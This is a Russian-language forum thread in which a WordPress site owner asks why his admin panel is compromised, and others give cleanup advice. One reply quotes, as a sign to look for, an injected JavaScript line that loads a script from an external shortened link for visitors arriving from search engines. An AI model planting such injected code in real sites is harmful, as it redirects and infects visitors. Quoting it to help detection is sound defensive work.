[romer]

Сайт до недавнего времени исправно работал, с файлами никаких изменений не проводил. Вчера при попытке зайти в админ панель обнаружилась такая картина _http://awesomescreenshot.com/0ad3uc7qfd - что это может быть? Перезалил файлы движка - не помогло. Как решить такую проблему?
Собственно вот сама картина _http://masterka.org/wp-admin/

[Rekudo]

Это какой-то вирус!

[Елена Ильчук]

Проверить сайта на вирусы. Посмотреть по логам, когда появилась данная ошибка и если есть бекап, то вернуть всё до ошибки.

[romer]

Проверить сайта на вирусы. Посмотреть по логам, когда появилась данная ошибка и если есть бекап, то вернуть всё до ошибки.

Файлы движка перезалил, где еще вирус может быть?

[Rekudo]

romer, Вот попробуй воспользоваться скриптом http://revisium.com/ai/

Скрипт простой в использование, Мне когда-то пришлось его ставить и он мне действительно помог.

[Фёдор Ашифин]

Смотрите файл .htaccess обычно эти гады там сидят.
Еще, перезаливка файлов движка ничего не дает, т.к. можно поставить права на инфицированный файл 444 и он не перезапишется.
Возможно залит левый файл, который вообще отсутствует в родном дистрибутиве, у меня было такое, искал вручную.
Только сносить все файлы, заливать с нуля и подключать базу.
Базу конечно же то же лучше проверить, через простой поиск.
И конечно же меняйте все пароли и на фтп и почту.

[romer]

Смотрите файл .htaccess обычно эти гады там сидят.

Проверил сразу же - стандартный файл без изменений.

[DOleg]

Удалите папку wp-admin и залейте её из бекапа, у вас в ней кажется создан index.html и подпорчен index.php
Проверьте файлы темы (index.php, header.php и остальные), на наличие первой строкой

Код:

if (document.referrer=='Google' || document.referrer=='Bing' || document.referrer=='Yandex' || document.referrer=='Yahoo') {document.write("<script id="myCLID" src="http://vk.cc/39qpNq"></script>")}

[Zamaiev]

Я знаю что это, Взлом!
У меня сейчас аналогичная проблема с сервром, при изучении логов выяснилось что в нерабочее время ближе к ночи зафиксированы непонятные входы, это ничто иное как кто-то подбирает ключ и видимо подобрали)

[Gann]

Это очередную уязвимость нашли в вордпрессе.

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):

У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.